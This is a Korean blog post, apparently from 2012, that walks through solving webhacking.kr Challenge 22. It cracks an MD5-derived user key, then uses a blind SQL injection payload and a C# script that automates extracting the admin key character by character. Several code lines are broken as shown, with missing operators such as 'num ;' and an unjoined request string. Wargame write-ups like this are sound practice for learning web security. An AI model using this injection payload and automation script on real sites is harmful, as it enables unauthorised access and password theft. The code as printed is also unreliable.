sweetchip's blog

안녕하세요


요즘 webhacking.kr 문제를 풀고 있습니다.


간단하게 write_up을 해보려고 하는데, 정말 진심으로 실력을 늘리고 싶은 분들께는 아래 더보기를 누르지 마시기를 강력히 추천드리며


정말 모르시겟다면 결정적 힌트 두가지를 드리겠습니다.


힌트



힌트에 공감이 가시는 분은 다시한번 도전해보시고 정말 모르겠다면 Write_up을 함께 봐주세요


Write_up
//webhacking.kr Challenge 22

가장먼저 보면 아마 다음문구가 있을것입니다.




echo("hi! $id<br><br>");
echo("your password is $pw<br><br>");
if($id=="admin")
echo("good! Password is $solution");

우리의 목표는 바로 admin 계정으로 접속을 하는것입니다만,, index.phps 는 제공되지 않습니다.

어쩔수없이 패턴 체크 루틴을 게싱을 해야할수밖에 없게됩니다.

username 부분에 union 을 쓰면 no hack 이라고 나오게 되는데요,

이런식으로 추측하시면 되겠습니다. 일단 join 버튼이 있으니 눌러봅시다. [이런것들은 80% 활용하라고 놓인것이지요]

아이디를 a, 패스워드를 a 라고 만들면 다음과 같은 창이 뜹니다.



저의 키는 884... 이것입니다. 일단 저 md5를 곰곰히 생각해봤습니다.

이리저리 굴려보다가 http://md5.web-max.ca/ 에서 md5를 사전 대입크랙 하자 azombie 라는 답을 줬습니다.

그러면 다시 한번 아이디를 c, c1 해서 키 값을 크랙하면 c1zombie 라는 결과가 나오게 됩니다.

* 중간 결론 : 비밀번호 zombie 문자열이 user key 이다.


자 그러면 이제 blind sql injection을 시도해보겠습니다.


아이디는 admin이고, 그에따른 적절하게 공격구문을 만들어보겠습니다.


----------------------blind sql injection 구문 --------

admin' and ascii(substr(pw,1,1))=100#

----------------------blind sql injection 구문 --------

* blind sql injection 기술은 따로 서술하지 않겠습니다.


이런식으로 하나하나 값을 얻어냅니다.


하지만 대부분 사람은 손으로 대입하는 사람은 없을겁니다.


그래서 저는 C# 자동화 프로그램을 만들었습니다.


Source Code ----------------------------------------------------------------


public CookieContainer cookie = new CookieContainer(); // 쿠키 컨테이너


public void login() // 로그인

{

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/index.html?enter=1");

req.Proxy = null;

req.Method = "POST";

req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";

req.ContentType = "application/x-www-form-urlencoded";

req.CookieContainer = cookie;

req.KeepAlive = true;


StreamWriter writer = new StreamWriter(req.GetRequestStream());

writer.Write("id=myid&pw=mypw");

writer.Close();


HttpWebResponse result = (HttpWebResponse)req.GetResponse();

}


public void send() // injection

{

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/challenge/bonus/bonus-2/index.php");

req.Proxy = null;

req.Method = "POST";

req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";

req.ContentType = "application/x-www-form-urlencoded";

req.CookieContainer = cookie;

req.KeepAlive = true;


StreamWriter writer = new StreamWriter(req.GetRequestStream());

writer.Write("id=admin' and ascii(substr(pw," num ",1))=" bpint "#&pw=asd");

writer.Close();


HttpWebResponse result = (HttpWebResponse)req.GetResponse();

Stream re = result.GetResponseStream();

StreamReader red = new StreamReader(re, Encoding.Default);

string str = red.ReadToEnd();


if (str.Contains("Wrong password!") == true)

{

listBox1.Items.Add(bpint);

bpint = 29;

num ;

}

else

{

bpint ;

}

}

--------------------------------------------------------------------------------------


위 소스를 바탕으로 다음과 같은 결과를 뱉어냅니다.





총 32자를 구해서 admin 의 user key를 알아낼수 있습니다.

userkey를 마찬가지로 크랙해서 admin의 패스워드를 알아내고

그 패스워드를 기반으로 로그인 하면 500점을 득점 하게 됩니다.


감사합니다.




신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02
webhacking.kr Challenge 22 Write up.  (2) 2012.11.01

Comment 2